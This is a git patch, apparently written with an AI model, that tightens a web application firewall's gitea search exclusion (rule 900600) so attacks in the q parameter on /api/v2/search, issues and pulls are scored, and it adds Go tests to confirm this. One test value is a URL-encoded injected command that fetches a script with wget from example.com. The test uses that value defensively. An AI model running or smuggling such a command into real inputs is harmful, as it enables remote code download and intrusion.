From 53acf05bcbd66e7c6bd76f3053532ed580e6819a Mon Sep 17 00:00:00 2001 From: sneak Date: Tue, 10 Nov 2026 01:33:27 +0000 Subject: [PATCH] Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266) Rule 900600 took paths of an owner named api for gitea's search, issues, pull requests and commit search inside a repository. /api/v2/search, Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so attacks in q scored 0 there. gitea has no owner named api, so a chained condition now leaves out each of those paths under /api//. Go's regular expressions have no lookahead, so the exclusion cannot be written inside the pattern. Model: opus-5-5 --- internal/coreruleset/coreruleset_test.go | 19 +++++++ internal/coreruleset/gitea.conf | 65 +++++++++++++----------- 2 files changed, 54 insertions(+), 30 deletions(-) diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index aa53b67..241a80d 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -674,6 +674,25 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) { } } } + + // gitea has no owner named api, so these are not a repository's search, + // issues or pull requests. /api/v2/search is Mastodon's search. + for _, path := range []string{ + "/api/v2/search", + "/api/v2/issues", + "/api/v2/pulls", + } { + for _, attack := range []string{ + sqlInjection, + scriptInjection, + "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh", + } { + target := path + "?q=" + attack + if got := inspect(t, crs, get(target)); got.Score < threshold { + t.Errorf("%s let through: %+v", target, got) + } + } + } } // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf index 600fc92..2736fbe 100644 --- a/internal/coreruleset/gitea.conf +++ b/internal/coreruleset/gitea.conf @@ -35,41 +35,46 @@ # 944100: java.lang.Runtime # 944110: java.lang.Runtime # 944130: java.lang.Runtime +# gitea has no owner named api. A repository's search, issues, pull requests and +# commit search with that owner get none of this. /api/v2/search, for example, +# is Mastodon's search. SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\ [^/]+/-/code|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\ commits/(?:branch|tag|commit)/.+/search)|\ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \ - "id:900600,phase:1,pass,nolog,\ - ctl:ruleRemoveTargetById=930110;ARGS:q,\ - ctl:ruleRemoveTargetById=930120;ARGS:q,\ - ctl:ruleRemoveTargetById=931100;ARGS:q,\ - ctl:ruleRemoveTargetById=932120;ARGS:q,\ - ctl:ruleRemoveTargetById=932130;ARGS:q,\ - ctl:ruleRemoveTargetById=932140;ARGS:q,\ - ctl:ruleRemoveTargetById=932160;ARGS:q,\ - ctl:ruleRemoveTargetById=932235;ARGS:q,\ - ctl:ruleRemoveTargetById=932250;ARGS:q,\ - ctl:ruleRemoveTargetById=932260;ARGS:q,\ - ctl:ruleRemoveTargetById=932380;ARGS:q,\ - ctl:ruleRemoveTargetById=933100;ARGS:q,\ - ctl:ruleRemoveTargetById=933130;ARGS:q,\ - ctl:ruleRemoveTargetById=933135;ARGS:q,\ - ctl:ruleRemoveTargetById=934100;ARGS:q,\ - ctl:ruleRemoveTargetById=934110;ARGS:q,\ - ctl:ruleRemoveTargetById=934130;ARGS:q,\ - ctl:ruleRemoveTargetById=941100;ARGS:q,\ - ctl:ruleRemoveTargetById=941110;ARGS:q,\ - ctl:ruleRemoveTargetById=941160;ARGS:q,\ - ctl:ruleRemoveTargetById=941180;ARGS:q,\ - ctl:ruleRemoveTargetById=941390;ARGS:q,\ - ctl:ruleRemoveTargetById=942100;ARGS:q,\ - ctl:ruleRemoveTargetById=942140;ARGS:q,\ - ctl:ruleRemoveTargetById=942190;ARGS:q,\ - ctl:ruleRemoveTargetById=942230;ARGS:q,\ - ctl:ruleRemoveTargetById=944100;ARGS:q,\ - ctl:ruleRemoveTargetById=944110;ARGS:q,\ - ctl:ruleRemoveTargetById=944130;ARGS:q" + "id:900600,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\ + pulls|commits/(?:branch|tag|commit)/.+/search)$" \ + "ctl:ruleRemoveTargetById=930110;ARGS:q,\ + ctl:ruleRemoveTargetById=930120;ARGS:q,\ + ctl:ruleRemoveTargetById=931100;ARGS:q,\ + ctl:ruleRemoveTargetById=932120;ARGS:q,\ + ctl:ruleRemoveTargetById=932130;ARGS:q,\ + ctl:ruleRemoveTargetById=932140;ARGS:q,\ + ctl:ruleRemoveTargetById=932160;ARGS:q,\ + ctl:ruleRemoveTargetById=932235;ARGS:q,\ + ctl:ruleRemoveTargetById=932250;ARGS:q,\ + ctl:ruleRemoveTargetById=932260;ARGS:q,\ + ctl:ruleRemoveTargetById=932380;ARGS:q,\ + ctl:ruleRemoveTargetById=933100;ARGS:q,\ + ctl:ruleRemoveTargetById=933130;ARGS:q,\ + ctl:ruleRemoveTargetById=933135;ARGS:q,\ + ctl:ruleRemoveTargetById=934100;ARGS:q,\ + ctl:ruleRemoveTargetById=934110;ARGS:q,\ + ctl:ruleRemoveTargetById=934130;ARGS:q,\ + ctl:ruleRemoveTargetById=941100;ARGS:q,\ + ctl:ruleRemoveTargetById=941110;ARGS:q,\ + ctl:ruleRemoveTargetById=941160;ARGS:q,\ + ctl:ruleRemoveTargetById=941180;ARGS:q,\ + ctl:ruleRemoveTargetById=941390;ARGS:q,\ + ctl:ruleRemoveTargetById=942100;ARGS:q,\ + ctl:ruleRemoveTargetById=942140;ARGS:q,\ + ctl:ruleRemoveTargetById=942190;ARGS:q,\ + ctl:ruleRemoveTargetById=942230;ARGS:q,\ + ctl:ruleRemoveTargetById=944100;ARGS:q,\ + ctl:ruleRemoveTargetById=944110;ARGS:q,\ + ctl:ruleRemoveTargetById=944130;ARGS:q" # A page opened from the results of one of those searches has the search's # address in Referer, which skips these rules then: